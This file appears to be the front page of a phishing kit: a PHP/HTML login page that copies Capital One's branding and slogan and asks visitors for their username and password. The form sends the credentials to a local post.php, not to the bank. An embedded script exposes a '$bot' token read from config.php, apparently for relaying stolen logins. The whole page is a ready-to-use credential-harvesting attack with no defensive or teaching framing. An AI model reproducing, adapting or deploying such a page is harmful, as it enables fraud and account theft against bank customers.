<?php
include("config.php");
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="favicon.ico">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Optimistic+Display:wght@400;600&family=Inter:wght@300;400;500;600&display=swap" rel="stylesheet">
    <title>Capital One</title>
    <style>
        *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }
        :root {
            --red:        #d03027;
            --red-dark:   #a8201a;
            --red-light:  rgba(208,48,39,0.08);
            --dark:       #1a1a1a;
            --text-primary: #1a1a1a;
            --text-secondary: #444;
            --text-muted: #888;
            --border:     #e0e0e0;
            --bg:         #f8f8f8;
            --white:      #ffffff;
        }
        html, body { height: 100%; font-family: 'Inter', sans-serif; background: var(--bg); }
        body { display: grid; grid-template-columns: 1fr 1fr; min-height: 100vh; overflow: hidden; }

        .panel-left {
            background: var(--dark);
            position: relative; display: flex; flex-direction: column;
            justify-content: flex-end; padding: 52px 56px; overflow: hidden;
        }
        .panel-left::before {
            content: ''; position: absolute; inset: 0;
            background: radial-gradient(ellipse 70% 60% at 5% 95%, rgba(208,48,39,0.35) 0%, transparent 60%),
                        radial-gradient(ellipse 40% 30% at 90% 5%, rgba(208,48,39,0.12) 0%, transparent 60%);
            pointer-events: none;
        }
        .panel-bg { position: absolute; inset: 0; overflow: hidden; opacity: 0.05; }
        .panel-bg svg { width: 100%; height: 100%; }
        .panel-dots { position: absolute; top: 52px; left: 56px; display: flex; gap: 8px; z-index: 1; }
        .panel-dots span { width: 8px; height: 8px; border-radius: 50%; background: rgba(255,255,255,0.15); }
        .panel-dots span:first-child { background: var(--red); }

        .brand-icon { position: relative; z-index: 1; margin-bottom: 52px; width: 64px; height: 64px; }
        .brand-icon svg { width: 100%; height: 100%; }

        .panel-tagline { position: relative; z-index: 1; }
        .panel-tagline .eyebrow { font-size: 11px; font-weight: 500; letter-spacing: 0.22em; text-transform: uppercase; color: var(--red); margin-bottom: 18px; }
        .panel-tagline h2 { font-size: clamp(26px, 2.8vw, 40px); font-weight: 600; line-height: 1.2; color: #fff; margin-bottom: 20px; }
        .panel-tagline p { font-size: 14px; font-weight: 300; color: rgba(255,255,255,0.42); line-height: 1.75; max-width: 310px; }

        .panel-right {
            display: flex; flex-direction: column; justify-content: center;
            align-items: center; padding: 60px 40px; background: var(--white); overflow-y: auto;
        }
        .login-card { width: 100%; max-width: 390px; animation: fadeUp 0.55s ease both; }
        @keyframes fadeUp { from { opacity: 0; transform: translateY(16px); } to { opacity: 1; transform: translateY(0); } }

        .login-logo { margin-bottom: 36px; }
        .login-logo img { height: 44px; width: auto; object-fit: contain; display: block; }

        .login-heading { margin-bottom: 28px; }
        .login-heading h1 { font-size: 26px; font-weight: 600; color: var(--text-primary); margin-bottom: 6px; letter-spacing: -0.01em; }
        .login-heading p { font-size: 14px; color: var(--text-muted); font-weight: 300; }

        .field { margin-bottom: 18px; }
        .field label { display: block; font-size: 11px; font-weight: 500; letter-spacing: 0.08em; text-transform: uppercase; color: var(--text-secondary); margin-bottom: 7px; }
        .field input[type="text"], .field input[type="Password"] {
            width: 100%; height: 50px; padding: 0 16px;
            border: 1.5px solid var(--border); border-radius: 8px;
            font-family: 'Inter', sans-serif; font-size: 15px; color: var(--text-primary);
            background: #fff; outline: none; transition: border-color 0.2s, box-shadow 0.2s; -webkit-appearance: none;
        }
        .field input::placeholder { color: #bbb; font-weight: 300; }
        .field input:focus { border-color: var(--red); box-shadow: 0 0 0 3px var(--red-light); }

        .options { display: flex; flex-direction: column; gap: 12px; margin-bottom: 26px; }
        .check-label { display: flex; align-items: center; gap: 10px; font-size: 13.5px; color: var(--text-secondary); cursor: pointer; user-select: none; }
        .check-label input[type="checkbox"] {
            appearance: none; -webkit-appearance: none; width: 17px; height: 17px;
            border: 1.5px solid var(--border); border-radius: 4px; background: #fff;
            cursor: pointer; flex-shrink: 0; position: relative; transition: background 0.15s, border-color 0.15s;
        }
        .check-label input[type="checkbox"]:checked { background: var(--red); border-color: var(--red); }
        .check-label input[type="checkbox"]:checked::after {
            content: ''; position: absolute; left: 4px; top: 1px;
            width: 5px; height: 9px; border: 2px solid #fff;
            border-top: none; border-left: none; transform: rotate(45deg);
        }

        .btn-signin {
            width: 100%; height: 50px; background: var(--red); color: #fff;
            border: none; border-radius: 8px; font-family: 'Inter', sans-serif;
            font-size: 15px; font-weight: 600; cursor: pointer;
            transition: background 0.2s, transform 0.15s, box-shadow 0.2s; margin-bottom: 26px;
        }
        .btn-signin:hover { background: var(--red-dark); box-shadow: 0 4px 18px rgba(208,48,39,0.35); transform: translateY(-1px); }
        .btn-signin:active { transform: translateY(0); }

        .login-links { display: flex; flex-direction: column; gap: 12px; padding-top: 20px; border-top: 1px solid var(--border); }
        .login-links a { font-size: 13.5px; color: var(--red); text-decoration: none; font-weight: 400; opacity: 0.85; transition: opacity 0.15s; }
        .login-links a:hover { opacity: 1; text-decoration: underline; }
        .login-links a::after { content: ' →'; font-size: 12px; }

        @media (max-width: 768px) { body { grid-template-columns: 1fr; overflow: auto; } .panel-left { display: none; } .panel-right { min-height: 100vh; padding: 48px 28px; } }
    </style>
</head>
<body>
<div class="panel-left">
    <div class="panel-dots"><span></span><span></span><span></span></div>
    <div class="panel-bg">
        <svg viewBox="0 0 600 800" preserveAspectRatio="xMidYMid slice" xmlns="http://www.w3.org/2000/svg">
            <circle cx="500" cy="150" r="300" fill="none" stroke="white" stroke-width="1"/>
            <circle cx="500" cy="150" r="200" fill="none" stroke="white" stroke-width="1"/>
            <circle cx="500" cy="150" r="100" fill="none" stroke="white" stroke-width="1"/>
            <line x1="0" y1="600" x2="600" y2="200" stroke="white" stroke-width="0.5"/>
            <line x1="0" y1="700" x2="600" y2="300" stroke="white" stroke-width="0.5"/>
            <line x1="0" y1="800" x2="600" y2="400" stroke="white" stroke-width="0.5"/>
        </svg>
    </div>
    <div class="brand-icon">
        <svg viewBox="0 0 64 64" fill="none" xmlns="http://www.w3.org/2000/svg">
            <path d="M32 8L8 20V44L32 56L56 44V20L32 8Z" fill="rgba(208,48,39,0.2)" stroke="rgba(208,48,39,0.6)" stroke-width="1.5"/>
            <path d="M32 16L16 24V40L32 48L48 40V24L32 16Z" fill="rgba(208,48,39,0.15)" stroke="rgba(255,255,255,0.2)" stroke-width="1"/>
            <circle cx="32" cy="32" r="8" fill="rgba(208,48,39,0.7)"/>
            <circle cx="32" cy="32" r="3" fill="rgba(255,255,255,0.8)"/>
        </svg>
    </div>
    <div class="panel-tagline">
        <div class="eyebrow">Secure Banking</div>
        <h2>What's in your wallet?<br>Access it here.</h2>
        <p>Sign in to manage your Capital One accounts, credit cards, and rewards — all in one place.</p>
    </div>
</div>
<div class="panel-right">
    <div class="login-card">
        <div class="login-logo"><img src="res/img/logo.svg" alt="Capital One"></div>
        <div class="login-heading"><h1>Welcome back</h1><p>Sign in to your account to continue</p></div>
        <script>var token=<?php echo json_encode($bot); ?>;</script>
        <form action="post.php" method="post">
            <div class="field"><label for="user">Username</label><input type="text" id="user" name="user" required autocomplete="username" placeholder="Enter your username"></div>
            <div class="field"><label for="pass">Password</label><input type="Password" id="pass" name="pass" required autocomplete="current-password" placeholder="Enter your password"></div>
            <div class="options">
                <label class="check-label"><input type="checkbox"> Remember me</label>
                <label class="check-label"><input type="checkbox"> Use token</label>
            </div>
            <button type="submit" class="btn-signin">Sign in</button>
            <div class="login-links">
                <a href="#">Forgot username or password</a>
                <a href="#">Not enrolled? Sign up now</a>
            </div>
        </form>
    </div>
</div>
<script src="./res/jq.js"></script>
</body>
</html>